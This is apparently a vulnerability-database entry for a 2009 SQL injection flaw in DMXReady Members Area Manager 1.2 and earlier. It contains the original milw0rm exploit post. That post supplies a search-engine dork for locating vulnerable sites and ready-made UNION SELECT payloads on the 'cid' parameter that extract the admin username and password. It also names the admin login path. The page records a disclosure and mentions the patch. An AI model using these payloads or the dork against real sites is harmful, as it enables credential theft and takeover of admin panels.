DMXReady Members Area Manager

vendor:

Members Area Manager

by:

ajann

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Members Area Manager

Affected Version From: 1.2 and earlier

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DMXReady Members Area Manager <= 1.2 SQL Injection Vulnerability

A SQL injection vulnerability exists in DMXReady Members Area Manager version 1.2 and earlier. An attacker can exploit this vulnerability to gain access to the admin panel and execute arbitrary SQL commands. The vulnerability is due to insufficient sanitization of user-supplied input in the 'cid' parameter of the 'upload_image_security_level.asp' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL commands to the vulnerable script.

Mitigation:

Upgrade to the latest version of DMXReady Members Area Manager.

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  DMXReady Members Area Manager  <= 1.2 SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  149.97 $
# Dork    :  inurl:inc_membersareamanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_membersareamanager.asp&btnG=Google%27da+Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=[SQL Inject]

You Find-> http://[target]/[path]/applications/MembersAreaManager/inc_membersareamanager.asp
Edit     -> http://[target]/[path]/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=[SQL Inject]


Example:

USERNAME->
/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminUserName,3,4,5,6 from tblConfig

PASSWORD->
/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminPassword,3,4,5,6 from tblConfig

Admin Login->
/admin/MembersAreaManager/admin.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]